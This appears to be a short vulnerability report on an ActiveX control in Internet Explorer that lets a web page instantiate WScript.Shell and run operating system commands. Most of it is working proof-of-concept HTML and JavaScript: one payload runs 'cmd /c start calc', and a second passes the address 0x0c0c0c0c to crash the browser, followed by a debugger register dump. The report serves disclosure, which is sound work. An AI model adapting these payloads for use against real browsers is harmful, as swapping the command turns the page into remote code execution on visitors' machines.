by specifing the ProgID of an arbitrary class from the underlying operating system, with no regards for browser security, is possible to load ex. the WScript.Shell class. The returned object now offers the Exec() method which can be used to launch operating system commands.
Example of attack:
<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject("WScript.Shell");
x.Exec("cmd /c start calc");
</script>
it is also possible to crash the browser by specifying an arbitrary memory address
<object classid='clsid:2EBE1406-BE0E-44E6-AE10-247A0C5AEDCF' id='obj' />
</object>
<script defer=defer>
var x = obj.GetObject(0x0c0c0c0c);
</script>
example crash:
eax=0c0c0c0c ebx=0197085c ecx=01b5efec edx=0000008e esi=01b5efec edi=01b5f344
eip=77bd8efa esp=01b5ef80 ebp=01b5ef80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msvcrt!wcslen+0x8:
77bd8efa 668b08 mov cx,word ptr [eax] ds:0023:0c0c0c0c=????
debugger shows an access violation while reading 0x0c0c0c0c, this could be also exploitable but not demonstrated at the time of this report
As attachment, proof of concept code which executes calc.exe, then crash IE.
